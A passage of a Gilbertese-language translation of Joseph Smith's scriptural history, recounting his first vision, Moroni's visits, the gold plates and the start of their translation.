bobuaka i buakoia aaro aika kakaokoro, n te aro are e a kangaanga n reke iroun te kairake n ai arou, ao n aki taneiai ma aomata ao bwaai, bwa e na motikia raoi bwa antai ae eti ao antai ae kairua.\n9 Au iango n tabetai e rangi ni ingainga, te takarua ao te aki rau bon moan te korakora ao a teimatoa. Kaain te Beretibeterian a rangi ni iangoia bwa a na kaitaraia kaain te Aro ni Bwabetito ao te Metoteti, ao a kamanenai mwaaka ni kabane ni iango ma kakauntaeka aika kewe ni kaota aia kairua, ke, ni bon arona, ni karaoia aomata bwa a na iangoia bwa a kairua. Ni kaitaraana, man aia itera kaain te Aro ni Bwabetito ao te Metoteti titebo botumwaakaia ni kataia ni katei oin aia reirei ao ni kakewei ni kabane ake tabeua.\n10 Ri buakon te buaka aio n taian taeka ao te aki rau ibukin kakaokoron iango, I aki toki n taku i bon irou: Tera ae na karaoaki? Antai man botaki ni kabane aikai aika aeti; ke a uaia ni kairua ni kabane? Ngkana iai teuana irouia ae eti, enga, ao N na kanga n ataia?\n11 I nanon au tai ni korakai i aan kaangaanga aika moan te korakora ake a riki man aia kauntaeka kaain botaki n aaro aikai, I bon wareware n te bongina n ana Reta Iakobo, te moan mwakoro ao te kanimaua ni kibu, are e kangai warekana: Ngkana akea ana rabakau temanna i buakomi, ao e na butia te Atua, ae tituaraoi n angangania aomata ni kabaneia, ao n aki ngurengureakiniia; ao e na bon anganaki.\n12 Akea te mwakoro ni kibu ni koroboki aika tabu ae roko ma te mwaaka ae korakora nako nanon te aomata nakon aei n te tai aei nako nanou. E tara n ae rin ma te mwaaka ae korakora nakon namakin ni kabane i nanou. I karaua ni iangoia ni kaokiokia, ibukina bwa I ataia bwa ngkana iai te aomata ae kainnanoa te rabakau mai iroun te Atua, boni ngai; bwa N na kanga ni waaki I bon aki ataia, ma ti ngkana I kona ni karekea riki te rabakau nakon are iai irou n te tai arei, N na bon aki kona n ataia; bwa taan reirei n te aro ni botakin aro aika kakaokoro a rangi ni kaokoro aotaia i aon mwakoro ni kiibu aika titebo ni koroboki aika tabu n te aro are a tiringi ni kabane onimakinan kaekaan te titiraki man ukoukoran te kaeka man te bBaibara.\n13 I mwin te tai ae maan I a roko n tokina bwa N na tiku n te roo ao te mangaongao, ke ngkana tiaki I riai ni karaoa are tuatua Iakobo, are, bubutia te Atua. I mwin te tai ae maan I a baireia bwa N na a\"bubutia te Atua\", ni motikia bwa ngkana e angaanga te rabakau nakoia ake akea irouia te rabakau, ao n tituaraoi n angaanga, ao n aki ngurengureakiniia, I kona ni karaoia.\n14 Ngaia are, ni kaineti ma aio, korakoran nanou ni bubutia te Atua, I nakon te buakonikai bwa N na kataia. Bon n te moaningabong ae e tamaroa, te bong ae raoi, ni moan tain bwebweraken aroka n te nga wanibubua ao uabwi. Bon te moan tai i nanon maiu ae I kataia ni karaoa aei, bwa i buakon tabeaiangau nako I bon tuai ni karokoa te tai aei ni kataia n atataro ni kabaibaiti.\n15 I mwin rokou n te tabo are I a kaman baireia bwa N na nako iai, n tiau n taratara nako ni katobibiai, ao ni kunea bwa ai bon ti ngai, I katorobubua ao ni kaoti baike e tangiria nanou nakon te Atua. I a bon tibwa tabe ni karaoa aei, ngke I a niniaki n te tai naba arei n te mwaaka teuana are e taonai nako, ao e kamiimi mwakana i aou bwa e kabaea neweu n te aro are I aki kona n taetae. Te roo ae matenten e ikoikotaki ni katobibiai, ao n te tai ae e aki maan taraana irou bwa kanga I a bon katauaki nakon te tiringaki n te tai ae e waekoa.\n16 Ma, I a kabongana korakorau ni kabane ni awetea te Atua bwa e na kamaiuai man mwaakan te kairiribai aei are e niniai, ao n te tai naba arei ngke I a tauraoi ni bwaka n taonaki nako n te bwarannano ao ni katukai nakon te kamaunaaki—tiaki nakon te kamaunaaki ae iangoaki, ma nakon mwaakan te aomata raoi man te aonaba ae e aki nooraki, are iai irouna te mwaaka ae kamiimi ae I tuai man namakinna mai i mwaina iroun te aomata—n te tai aei ae rang ni kakamaaku, I noora te boua ae te bota i etan raoi atu, e riaon otan ctaai, ae karaurau n ruo ni karokoa e toka i aou.\n17 N te tai are e oti iai I kunea bwa I a kamaiuaki mai iroun te kairiribai are tauai ni kabaeai. Ngke e tiku te ota i aou I anoriia buoman Aomata, ake raneaneaia ao cmimitongiia e aki kona ni kabwarabwaraaki, n tei n taarere i etau. Temanna irouia e taetae nakoiu, ni weteai n arau ao n taku, ni kotea are temanna—Aio dNatiu ae eTangiraki. Ongo Irouna!\n18 Bukin mwanangau n atitirakina te Uea bwa N na ataia bwa enga i buakoia botaki n aaro ae eti, bwa I aonga n ata are N na kaainna. N te tai are I okira arou, n te aro are I a kona n taetae, ngkanne I bubutia Aomata ake a tei i etau n te ota, enga i buakoia botaki n aaro ae eti (bwa n te tai aei e bon aki reke inanou bwa a bane ni kairua)—ao enga ae I riai ni kaainna.\n19 I bon kaekaaki bwa akea ae N na kaainna i buakoia, bwa a bane ni akairua; ao te Aomata are e kataetaeai e taku bwa ni kabane aia koaua a bati n ribaki i matana; bwa taan onimaki akekei a bane ni buakaka; bwa: \"a bkaniai ni matanriaia, ma a raroa cnanoia mai irou, a reirei aia dtua aomata bwa aia taeka n reirei, bwa iai eanuaia n atua, ma a kaakea te mwaaka are iai.\"\n20 E a manga tabuai ni kaaina teuana mai buakoia; ao a mwaiti riki bwaai ake e taekini nakoiu, ake I aki kona ni korei n te tai aei. Ngke I a manga okira arou, I kunea bwa I wene i aon akuu, n tararake nako karawa. Ngke e a nako te ota, akea korakorau; ma I waekoa ni marurung teutana, I okira mwengau. Ao ngke I raraa te tabo n ai, tinau e titiraki bwa tera te kangaanga. I kaeka, \"Tai raraoma, a bane n nakoraoi—I bon nakoraoi.\" I taku ngkanne nakon tinau, \"I a tia n reiakinna i bon irou bwa te Beretibeterian e aki koaua.\" E tara n ae te atia kakaitara e ataia, ni moan taai i nanon maiu, bwa N na riki bwa te tia kamangaoa ao te tia kaunun n abanueana; ngkana tiaki tera bukina ngkai a ikotaki mwaakan te roo ni kaitaraai? Tera bukin te bkaitara ao te bwanikirinaki are teirake ni kaitarai, kanga mai i nanon ataeu?\n21 Tabeua te bong i mwin reken te akaotioti aei nakoiu, I kaitibo ma temanna te tia kabwarabwara n te Metoteti, are e nang kakaonimaki n te ingainganano ibukin aaro are taekinaki mai mwaaina; ao, ni maroorou ma ngaia i aon taekan te aro, e reke au tai n anganna rongorongon te kaotioti are reke irou. I rangi ni kuba nako n arona; e aki ti karaoa au marooro ni kaakea manenana, ma e rangi ni ribaia, n taku bwa a bane n roko mai iroun te riaboro, bwa bon akea aekan bwaai aika bmii ni burabeti ke ckaotioti ni boong aikai; bwa bwaai aikai a bane n toki ma abotoro, ao bwa a na bon aki manga reke.\n22 E ngae n anne, I waekoa ni kunea bwa taekinan te karaki irou e kauekea te motikitaeka ae aki riai ni kaitaraai ae korakora i buakoia taan onimaki n te aro, ao bon ngaia are a karika te abwainikirinaki ae korakora, are e reitinako n rikirake; ao e ngae ngke te ataeinimwaane ngai ae baki tanoata taekau, ae ti i marenan tebwi ma aua ao tebwi ma nimaua ana ririki, ao aroarou ni maiu ai aron ae karaoa te ataeinimwaane bwa e na aki kakawaki n te aonaba, ma mwaane aika a bwakuaku a bon tau aia mwannano ni kauekea aia iango aomata ni kaitaraai, ao ni karika te bwainikirinaki ae kammaraki; ao e bon tabangaki aio i buakoia botakin aaro ni kabane—a bane ni bonnano ni bwainikirinai.\n23 E karika irou iangoana ma nanou n te tai arei, ao n taai aika a mwaiti man te tai arei, ai bon kamimi ra ae te ataeinimwaane ae aki tanoata taekana, ae tebwi ma aua tabun ana ririki, ao temanna naba, ae kairoroaki bwa e kainnanoa karekean maiuna ae uarereke man ana mwakuri ni katoa bong, e na iangoaki bwa te aomata ae tau kakawakina ni katika nanoia ake a kakannato man botakin aaro aika tanoata taekaia n te tai arei, ao n te aro are e karika i nanoia te nano ae moan te kammaraki n te bwainikirinaki ao n taetae n aki akaaka. Ma e kamiimi ke e aki, ma bon ngaia anne, ao n angiin te tai e karika te nanokawaki ae e korakora nakoiu.\n24 E ngae n anne, bon te bwai ae koaua are I a tia n nora te kaotioti. I a tia ni iangoia man te tai arei, bwa I namakina ae titebo ngai ma aBauro, ngke e karaoa bkamanoana i matan te Uea are Akeribwa, ao e taekina rongorongon te kaotioti are e reke irouna ngke e noora te ota, ao e ongo te bwana; ma e ngae n anne ti tabeman aika a kakoaua; tabeman a taku bwa e aki kokoaua, ake tabeman a taku bwa e mino; ao e bwainingareaki ao e taekinaki n aki akaaka. Ma baikai ni kabane a aki uruana koauan ana kaotioti. E a tia n noora te kaotioti, e ataia bwa e a tia n nooria, ao ni kabane te bwainikirinaki i aan karawa a aki kona ni bitia; ao e ngae ngke a na bwainikirinna ni karokoa te mate, ma e ataia, ao e na ataia ni karokoa kabanean ikeikena, bwa e a tia n uaia n noora te ota ao e ongo te bwana are taetae nakoina, ao ni kabane te aonaba a aki kona ni bita ana iango ke ae kakoauaa.\n25 Bon arona naba ma ngai. I a bon tia n noora raoi te ota, ao i buakon te ota arei I noriia uoman aAomata, ao e bon koaua ae a taetae nakoiu; ao e ngae ngke I ribaki ao ni bwainikirinaki ibukina bwa I taekinna bwa I tia n noora te kaotioti, ma e bon koaua; ao ngke a tabe ni bwainikirinai, n taetae n aki akaaka nakoiu, ao n taekini aekan nako bwaai aika a buakaka aika a aki koaua ni kaitaraai ibukina bwa I taekinna, I kairaki bwa N na taekinna i nanou: E aera a bwainikirinai ibukin taekinan te koaua? I a tia n noora raoi te kaotioti; ao antai ngai bwa N na kona n tuka te Atua, ke e aera te aonaba e iangoia bwa N na kaakea te bwai are I nooria raoi? Bwa I a tia n noora te kaotioti; I ataia, ao I ataia bwa te Atua e ataia, ao I aki kona ni bkaakea, ke ni kataia n aki karaoia; ni bon arona I ataia bwa man karaoana N na kamatauninga te Atua, ao n reke i aan te kabuakakaaki.\n26 I a tia ngkai n rauaki n au iango ni kaineti ma aia aonaba botakin aaro—bwa bon tiaki tabeu bwa N na kaaina teuana mai buakoia, ma N na reitaanako arou ngkai ni karokoa I manga karekei kaetieti. I a tia ni kunea ana akakoaua Iakobo bwa e koaua—bwa te aomata ae akea te rabakau irouna e na bubutia te Atua, ao e na karekea, ao e na aki ngurengureakinaki.\n27 I reitaanako karaoan au mwakuri are i taneiai ni maiu ni karokoa uabwi ma teuana n Tebetembwa, teuana te nga wanibubua ao uabwi ma teniua, n taai nako I rinanon te bwainikirinaki ae e korakora ni baia rinania nako aomata, aika a taua te aro ao aika a aki taua te aro, ibukina bwa I reitinako ni kamatoa koauan are I a tia n noora te kaotioti.\n28 I nanon te tai are i marenan te tai are I noora te kaotioti ao te ririki tenga wanibubua uabwi ma teniua—n tia n tukaki ni kaaina teuana i buakon botakin aaro n te tai arei, ao kioina ngke I rangi n ataei, ao ni bwainikirinaki irouia naake a riai n riki bwa raou ao n akoaai, ao ngkana a taku bwa I mwamwanaaki n tia ni keiaki n te aro ae e riai ma n tatangira ni manga anaai—I a katukaki nakon akariiri n aekaia nako; ao, n reitakiu ma aekaki n aomata nako, I a karaoi kairua aika a nanobaba n angin te tai, ao ni kaota mamaaran te kairake, ao kabwakan te anua n aomata; are, I nanokawaki n taekinna, bwa a kairai nakon kariiri aika a mwaiti, aika a aki butimwaeaki i matan te Atua. Ngkai I kaota aio, akea ae riai n taku bwa I bure n ae korakora ke te bure are rang ni buakaka. Tangiran karaoan aei bon tiaki anuau. Ma I bon bure n te bwainingare ae e aki riai, ao n tabetai I iriia te koraki aika kukukurei, ao tabeua riki, aika a aki botau ma te anua are e riai ni kateimatoaki iroun temanna ae e bweteaki iroun te Atua n aron are I tia ni weteaki. Ma aio e na bon aki tara ni kamiimi iroun temanna are e uringa kairakeu, ao e taneiai ma anuau ni kukurei.\n29 I mwin bwaai aikai, I namakina ae I bure n angiin te tai ibukin mamaarau ao aki kororaoiu; ngke, n tairikin are e taekinaki i eta uabwi ma teuana n Tebetembwa, i mwin are I a tia ni wene n au kainiwene n te tairiki, I atataro ao n onnon nakon te Atua ae Moan te Mwaaka ibukin kabwaraan au bure ma nanobabau ni kabane, ao ibukin kaotakina naba nakoiu, bwa I aonga n ata arou ma neu i matana; bwa I bon kakoaua raoi bwa N na karekea te kaotioti mai iroun te Atua, n aron are I a tia ni karekea mai mwaina.\n30 I nanon au tai n aron aio ni wewetea te Atua, I noora te oota ae kaoti n au ruu, are e tabe n rikirake ni karokoa e a raka riki ootan te ruu nakon ootan te tawanou, ao ngkekei naba ao e a kaoti te aaomata i rarikin au kainiwene, n taarere waena, bwa a aki toko waena ma aontano.\n31 E kunnikainna n te ninira ae e mwaawa ae rianako amainainana. E riao mainainana nakon mainainan bwaai aika I a tia n noori i aon te aonaba; ao I kakoaua bwa bon akea te bwai teuana n te aonaba ae e kona ni karaoaki bwa e na tara n rang ni mainaina ao n raneanea. Akea rabunan rauraun baina, ao baina naba, i etan toun baina, ai arona naba ma waena akea rabunaia, ai aron naba rangana, i etan nimoimoin waena. A bon aki karabaki naba atuna ma roroana. I nooria bwa akea riki kunnikaina ma ti te ninira aio, ibukina bwa e uki, n te aro are I kona n noora bwabwana.\n32 Tiaki ti ana ninira ae moan te mainaina, ma rabwatana ni kabane e amimitong n te aro ae e aki kona ni kabwarabwaraaki, ao taraan ubuna bon titebo ma bitin karawa. E rang n oota te ruu, ma e aki bootau ma te oota are e katobibiaki rabwatana iai. Ngke I moan taraia, I cmaaku; ma e waekoa ni kitanai te maaku.\n33 E weteai n aarau, ao e tuangai bwa bon ngaia te tia uarongorongo are e kanakoaki mai iroun te Atua nakoiu, ao arana bon Moronaai; bwa iai au mwakuri ae N na karaoia mai iroun te Atua; ao e na riki arau bwa taekan te raoiroi ao te buakaka i buakoia ni kabane aaba, reeti, ma neewe, ke n tei ibukin te raoiroi ma te buakaka are tataekinaki i buakoia aomata ni kabane.\n34 E taku bwa iai te aboki ae e taunaki, ae koreaki i aon bbwaatua aika koora, are e taekin rongorongoia ake a maeka i aon te aba aio n taai ake ngkoa, ao te tabo are a roko mai iai. E taekinna naba bwa e koreaki i nanona cbwaninin te Euangkerio ae ake tokina, n aron taekinakina iroun te Tia Kamaiu nakoia kaain te aba aio n taai ake ngkoa.\n35 Iai naba atibu aika uoua aika kabaeaki rarikia n te tirewa—ao atibu aikai a kabaeaki nakon aotangan te bwabwa, ao a karika te bwai ae aranaki bwa te bUrim ao Tammim—ae a taunaki ma taian bwaatua; ao aranaki aomata ake iai irouia ao a kabonganai atibu aikai bwa c\"taan mamata\" n taai ake ngkoa ke taai ake rimoa; ao e a tia te Atua ni katauraoi ibukin rairan te boki.\n36 I mwin are e tuangai bwaai aikai, e moanna n taekini taeka ni burabeti n te aO Tetemanti. E taekina moa mwakoron te bkateniua ni mwakoro ni Maraki; ao e taekina naba te kaaua ke te kabanea ni mwakoro n te taetae ni burabeti anne, ma iai teutana te kaokoro ma aron koreana n ara Baibara nako. E aki taekina te moan kibu n aron koreana n ara boki nako, ma e taekinna n aron aei:\n37 Bwa nooria, e na roko te abong ae e bbue n ai aron te ai n umum, ao ni kabane naake a kamoamoa, eng, ao ni kabane naake a kakaraoa ae e buakaka a na kabuekaki kanga te cmaange; bwa naake a na roko a na kabuekiia, e taku aia Uea Tanga ni Buaka, bwa e na katikuia n akea wakaia ke mwangaia.\n39 E kaokoro taekinan naba te kibu are i mwina irouna: Ao e na unikia i nanoia naati aberita are a tia ni karaoaki nakoia taama, ao a na brairi nanoia naati nakon tamaia. Ngkana tiaki ngaia anne aei, te aonaba ae e bwanin e na bon urubekebekeaki n rokona.\n40 Ni ikotaki nakon aikai, e taekina te katebwi ma teuana ni mwakoro n Itaia, n taekinna bwa e a kaan koro bukina. E taekina naba te kateniua ni mwakoro ni Mwakuri, te kauabwi ma uoua ao te kauabwi ma teniua ni kibu, n aron raoi teia n ara Nu Tetemanti. E taku bwa te aburabeti arei bon Kristo; ma e tuai roko te bong are \"aomata aika a rawa n ongo ni bwanaana a na bkamaunaki mai buakoia te botanaomata,\" ma e a kaan roko.\n41 E taekina naba te akauoua ni mwakoro n Ioera, man te kauabwi ma waniua ni kibu nakon te kabane. E taku naba bwa e tuai ni kakoroaki bukin aei, ma e a kaan kakoroaki. Ao e reitia n taekinna bwa bwaniniia bTientaire e a kaan roko. E taekini kiibu riki tabeua aika a mwaiti ni koroboki aika tabu, ao n anga kabwarabwara aika a mwaiti ake aki kona n taekinaki ikai.\n42 Ao e a manga tuangai riki bwa n te tai are a reke iai bwaatua irou ake e a tia n taekin—bwa e tuai moa n roko te tai are a na karekeaki iai—N na riai n aki kaoti nakoia aomata; ke te otanga naba are iai te Urim ao te Tammim iai; ma ti nakoia ake I a tia n tuangaki bwa N na kaoti nakoia; ngkana I kaoti N na riai ni kamaunaaki. Ngke e tabe n taetae nakoiu n taekin taian bwaatua, ao e a kaukaki nakon au aiango n te mii ni burabeti are I a kona iai n noora te tabo are a taunaki iai taian bwaatua, ao n te aro ae moan te oota ma ni mataata are I a bon ataa iai te tabo arei ngke I a roko iai.\n43 I mwin te marooro aio, I noora te oota i nanon te ruu bwa e a katobibia rabwatan te aomata are e taetae nakoiu, n te oota are e mena i nanon te ruu, ao e waaki rake ni karokoa ae e a manga roo nanon te ruu, ma ti rarikina n oota; ao ngkekei naba, I a nooria bwa, ai aron, te kawai ae e uki nako karawa, ao e a waerake ni karokoa ae e mauna, ao e a okira arona te ruu n arona are i mwain rokon te oota mai karawa.\n44 I a wene ni iangoa kamiimin te bwai are e a tia n riki, ao ni korakora miimiu ni bwaai ake a tia n taekinaki nakoiu iroun te tia uarongorongo ae rangi ni kamiimi aio; ao, i nanon au tai ni aiango, I a nooria bwa e a manga moanna naba n oota au ruu, ao n te tai ae e waekoa, e a manga kaoti riki te tia uarongorongo are mai karawa i rarikin au kainiwene.\n45 E waaki, ao e a manga taekin riki bwaai ake e a tia n taekin ni moan rokona, n akea kaokorona; ngke e tia, e a taekin motikitaeka aika a korakora ake a na roko nakon te aonaba, ma te kananoanga ae e korakora man te rongo, te kabaang, ma aoraki aika a kamamate; ao a na roko motikitaeka aika a rawawata aikai i aon te aonaba n te roro aio. Ngke e tia n taekin bwaai aikai, e a manga waerake naba nako karawa n aron are karaoia mai mwaina.\n46 N te tai aio, a bon rin bwaai aikai n au iango, n te aro are e a birinako te kani matu, ao I a wene n rootaki n te miimi ni bwaai ake I a tia n noori ao n ongo. Ma I a bon rangi ni kubanako riki ngke I a manga noora te tia uarongorongo arei i rarikin au kainiwene, ao ni manga ongo mai irouna kaokan ke manga taekinan riki nakoiu bwaai ake e a tia n taekin mai mwaina; ao n irianna ma te kauring nakoiu, n tuangai bwa e na kataia aTatan ni bkaririai (ibukin aron maiuia ni kainnano ana utu tamau), bwa N na karekei taian bwaatua bwa I aonga ni kaubwai mai iai. Aio are e tuangai bwa N na aki karaoia, ma n taku bwa a na akea te iango riki teuana ae e na rin n au kaantaninga ibukin karekean taian bwaatua ma ti ibukin mimitongin te Atua, ao N na aki kairaki n te ciango riki teuana ma ti ibukin katean ueana; ngkana I aki N na aki kona ni karekei.\n47 I mwin kateniuan rokona aio, e a manga waerake nako karawa n ai aron are mai i mwaina, ao I a manga tiku naba n iangoa aron kamiimin te bwai are I a tibwa tia n rinanona; ao e aki maan i mwin waeraken te tia uarongorongo mai karawa aio mai irou n te kateniua n tai, ao e a tang te moa, ao I kunea bwa e kaani ngaina; bwa ngaia ara marooro e a ngaina ngainana.\n48 E aki maan ao I a teirake man au kainiwene, ao, n aron ae I tataneiai iai, I a waakin karaoan au beku ake a riai n te bong arei; ma, ngke I kataia ni karaoi au beku n aron are I kakaraoi mai i mwaina, I a kunea bwa akea korakorau n te aro are I a aki kona ni karaoa te bwai teuana. E nooria Tamau are e mwakuri i rarikiu, bwa iai te bwai ae riki nakoiu, ao e tuangai bwa N na oki nakon te auti. I a moana mwanangau ni kaineta te auti; ma, ngke I kataia n riaon te oo n otinako man te tabo n ununiki are ti mena iai, ao e a kitanai korakorau ni kabane, ao I a bwaka nako aontano n akea te bwai ae I kona ni karaoia, ao I a aki ataa te bwai ae riki i nanon te tai ae e aki maan.\n49 Te bwai are I moan uringnga bon te bwanaa ae taetae nakoiu, are e weteai n arau. I tararake, ao I nora te tia uarongorongo naba arei n tei i etan atuu, ni katobibiaki n te ota n aron are mai mwaina. E a manga taekin riki bwaai ake e a tia n taekin nakoiu n te tairiki are mai mwaina, ao e tuangai bwa N na nakon atamau ao n tuangnga taekan te mi ni burabeti ao tuua ake I a tia ni karekei.\n50 I ongeaba nako iai; I okira tamau are e mena n te tabo n ununiki ao I taekin bwaai ni kabane nakoina. E kaeka nakoiu bwa bon mai iroun te Atua, ao e tuangai bwa N na nako ao ni karaoa are e tia n tua te tia uarongorongo. I kitana te tabo n ununiki, ao I nako ni kawara te tabo are e tia n tuangai te tia uarongorongo bwa a taunaki iai taian bwaatua; ao ibukina bwa e rangi ni teretere raoi n te mii ni burabeti are reke irou ni kaineti ma ngaia, I waekoa ni kinaa te tabo arei n te tai are I roko naba iai.\n51 Ni kaan ma te kaawa ae Manchester, n te aono ae Ontario, i New York, ao iai te atabuki ae rangi ni bubura, ao e rietata riki nakon taian tabuki n te tabo arei. I maeaon te tabuki aio, n aki raroa mai taubukina, i aan te atibu ae rangi ni bubura, a wene iai taian bwaatua, i nanon te bwaoki ae te atibu. E matenten te atibu aio ma ni mron taubukina ni iterana are mai eta, ao ni mmani nako mangeena, ngaia are e ti nooraki taubukina i aontano, ma mataniwiina ni katotobia e taunaki n te tano.\n52 Ngke I a tia ni kanakoa te tano, ao I a karekea te kai are N na ietia iai, are I a karinna i aan mataniwiin te atibu, ao I a ietia ma te korakora ae tau. I tara nanona, ao I a bon noori taian abwaatua, te bUrim ao te Tammim, ao cotangan te bwabwa, n aron are e taekinaki iroun te tia uarongorongo. E karaoaki te bwaoki are a wene i nanona n taian atibu aika katomaki n te bwai ae titebo ma te timanti. I kabin te bwaoki ao a kaweneaki iai uoua atibu aika wene ni bangaki, ao i aon atibu aikai are a wene iai taian bwaatua ma bwaai riki tabeua i rarikiia.\n53 I kataia ni kaotinakoi, ma I aki kariaiakaki iroun te tia uarongorongo, ao I a manga tuangaki riki ae e tuai n roko tain kaotakiia, ao e na aki roko taina, ni karokoa aua te ririki man te tai arei; ma e tuangai bwa N na riai ni kawara te tabo arei teuana raoi te ririki man te tai aei, ao e na kaitibo ma ngai ikekei, ao N na riai n kakaraoa aio ni karokoa are e roko te tai are N na anganaki iai taian bwaatua.\n54 N aron are I a tia n tuangaki, I a nanako ikekei ni katoa banen te ririki, ao ni katoa tai I kaitibo ma te tia uarongorongo arei ikekei, ma ni karekei kaetieti ma te atatai mai irouna ni katoa tain ara marooro, ni kaineti ma bwaai ake e na karaoi te Uea, ao e na kanga ao tera aron wakinan aueana ni bong aika kaitira.\n55 Ibukina bwa aron tamau ni kaubwain te aonaba e bon rang ni karako, ti riai ni mwakuri ni baira, n tangoaki ni mwakuri ibukiia tabeman ni katoa bong ao n aanga riki tabeua, n aron are ti kona ni karekei. N tabetai ti tiku ni mwengara, ao n tabetai n taabo tabeua, ao man te mwakuri n taai nako ti a kona ni karekea maiura ae tau.\n56 N te ririki 1823 ana utu tamau a kaitibo ma te karawawata ae korakora ni maten tariu are te ikawai, ae aAlvin. N te namwakaina ae Okitobwa, 1825, I kamwakuraki iroun te unimwaane ae arana Josiah Stoal, are e maeka n te aono ae Chenango, n te Aba ae New York. E a tia n ongo taekan te tabo ni ken tirewa are e kaukaki irouia kaain Spain i Harmony, n te aono ae Susquehanna, n te Aba ae Pennsylvania; ao i mwain ae I kammwakuraki irouna, e a bon tia ni keniken, bwa ngkana e kona, e na kunea te tabo ni keniken. I mwin nakou ni maeka ma ngaia, e kairai, ma ana taan mwakuri ake tabeman, bwa ti na keniken n te tabo ni ken tirewa, are I reitinako ni mwakuri iai ni kaania teuana te namwakaina, n akea te bwai ae e reke n ara mwakuri, ao n tokina I a anaa nanon te unimwaane bwa e na toki te keniken ibukin kakaeana. Mai ikai ao e a reke te karaki ae butanako bwa I kakaea te kaubwai.\n57 I nanon te tai are I kammwakuraki n aio, I kanakoaki bwa N na maeka ma Mr Isaac Hale, n te tabo arei; bon te tabo arei are I moan noora iai kainabau (are natina), aEmma Hale. N 18 n Tianuare, 1827, ti mareaki, i nanon au tai ni mwakuri ibukin Mr Stoal.\n58 Ibukina bwa I reitinako n taekinna bwa I tia n noora te mi ni burabeti, e bon irirai te abwainikirinaki, ao ana utu taman kainabau a bon rang ni ribaia bwa ti na mareaki. Ngaia are, I a kainnanoia bwa N na kairia nakon te tabo teuana; ngaia are ti a nako ao ti mareaki n ana auti Squire Tarbill, i South Bainbridge, n te aono ae Chenango, i New York. Bon i mwin raoi ara mare I kitana Mr. Stoal, ao I nakon tamau ma ni mwakuri ma ngaia n te tai arei.\n59 N tokina e a roko te tai are N na karekei iai bwaatua, te Urim ao te Tammim, ao te otanga. Ni bongin Tebetembwa ae uabwi ma uoua, te ngaa wanibubua uabwi ma itiua, ngke I a tia n roko n te tabo are a taunaki iai n aron are I taneiai ni koron te ririki teuana, ao e anganai te tia uarongorongo mai karawa arei te kaetieti aio: bwa N na riai n onimakinaki ibukiia; bwa ngkana I kabuai ibukin au aki tararua, ke ibukin au aaki tarabwai, e na motikaki roou; ma ngkana I kabanea korakorau ibukin bkateimatoakia, ni karokoa ae e roko, ngaia te tia uarongorongo, bwa e na anai, ao a na bon kawakinaki raoi.\n60 E aki maan i mwina ao I ataa bukin matoan taian kaetieti ake I anganaki ibukin tararuakia, ao bukin tera ngkai te tia uarongorongo e taekinna bwa ngkana I a tia ni karaoa te mwakuri are kainnanoaki mai irou ao e na roko n anai. Bwa i mwin te tai are e ataaki naba iai bwa a mena irou, ao a korakora mwakuri ake a waakinaki ibukin anakiia mai irou. A bane ni kabonganaki aanga ake a kona ni iangoaki ibukin te mwakuri aio. Te bwainikirinaki e rikirake ni kammaraki ma ni korakora nakon are mai mwaaina, ao a mwaiti botanaomata ake a tatauraoi n taai nako bwa a na anai mai irou ngkana a kona. Ma ni wanawanan te Atua, a teimatoa manoia n tikuia i nanon baiu, ni karokoa ae I a tia ni katiai mai iai bwai ake a kaantaningaki mai irou. Ngkanne, n aron te boraraoi, e a roko te tia uarongorongo bwa e na anai, ao I anganna; ao a mena i aan ana tararua ni karokoa te bong aio, ae uoua ni May, te ngaa wanibubua tenibwi ma waniua.\n61 E ngae n anne, te ingaingannano e reitinako, ao te bwabwarantiko ma newena aika nga a kabonganaaki n taai nako ni kabuti bwaai aika kewe ibukin ana utu tamau, ao ibukiu. Ngkana N na taekina te kateuana ni nga ni mwakoro mai iai, e na bon kaoni booki aika a mwaiti. E ngae n anne, I aki kona moan korakoran te bwainikirinaki ao I a riai ni kitana Manchester, ao n nako ma kainabau nakon te aono ae Susquehanna, n te Aba ae Pennsylvania. Ngke I katauraoi ni waaki—ngkai I a rang ni kainnano, ao te bwainikirinaki e rang n rawawata i aora n te aro are akea kaantaningaan ae e na toki—i nanon karawawatakira ti kunea raora ae te mwaane ae arana aMartin Harris, are e kawarira ao e anganai nimwabwi te taara bwa buokara ni mwanangara. Mr Harris bon kaain te kaawa ae Palmyra, te aono ae Wayne, n te Aba ae New York, ao te tia ununiki ae e karineaki.\n62 Man te buoka ae e roko n te tai ae e kainnanoaki I a kona n roko n te tabo are N na nako iai i Pennsylvania; ao n te tai naba arei i mwin rokou ikekei I moana katootongan manin koroboki man taian bwaatua. E rangi ni mwaiti are I karaoi katootongaia, ao rinanon te aUrim ao te Tammim I rairi tabeua i buakoia, are I karaoia i marenan te tai are I roko iai n ana auti taman kainabau, n te namwakaina ae Ritembwa, ao Beberuare are i mwina.\n63 Te taina n te namwakaina aio ae Beberuare, Mr. Martin Harris are e a kaman taekinaki arana e roko nakon ara tabo, e anai manin koroboki ake I katootongi man taian bwaatua, ao e nako ma ngaia nakon te kaawa ae New York. Ibukin te bwai are e riki ni kaineti ma ngaia ao manin koroboki, N na taekina oin ana rongorongo n te bwai are e riki, n aron are e taekini nakoiu i mwin okina, n aron ae kaotaki ikai:\n64 \"I nakon te kaawa ae New York, ao ni kaoti manin koroboki ake a tia n rairaki, ma te rairairi akekei, nakon te Tia Rabakau ae Charles Anthon, te mwaane ae e kinaaki ibukin ana konabwai n taian taetae. Te Tia Rabakau ae Anthon e taekinna bwa te rairari e bon eti, e eti riki nakon rairairi man te taetae n Aikubita ake e a tia noori mai mwaina. I mwina I kaoti nakoina ake a tuai n rairaki, ao e taekinna bwa bon taetae n Aikubita, Chaldea, Assyria, ao Arabia; ao e taku bwa bon manin koroboki raoi. E anganai te beeba ni kakoaua, ni kakoaua nakoia aomata i Palmyra bwa bon manin koroboki raoi, ao bwa te rairari mai iai ibukiia n aron are a tia n rairaki a bon eti naba. I uota te beeba ni kakoaua ao I katikua n au buua, ao N nang bon kitana te auti, ngke e weteai Mr. Anthon ni kaokai, ao e titirakinai bwa e kanga te ataeinimwaane ni kunea bwa iai bwaatua aika koora n te tabo are e kunei iai. I kaekaa bwa ana anera te Atua ae e kaotia nakoina.\n65 \"I mwina e taku nakoiu, 'N na noora te beeba ni kakoaua anne.' Ngaia are I anaia man au buua ao n anganna, ngke e a anaia ao e raeraeia nakon mwakorokoro aika uarereke, n taekinna bwa bon akea ngkai te bwai ae aia mwakuri ni buobuoki aanera, ao bwa ngkana N na uoti bwaatua nakoina e na rairi. I kaongoa ae iteran taian bwaatua a bon bkainaki, ao bwa I tabuaki ni uoti. E kaeka, 'I aki kona ni wareka te boki ae kainaki.' I kitanna ao I nakon Dr. Mitchell, are e kamatoa are e taekinna te Tia Rabakau ae Anthon ni kaineti ma manin koroboki ao 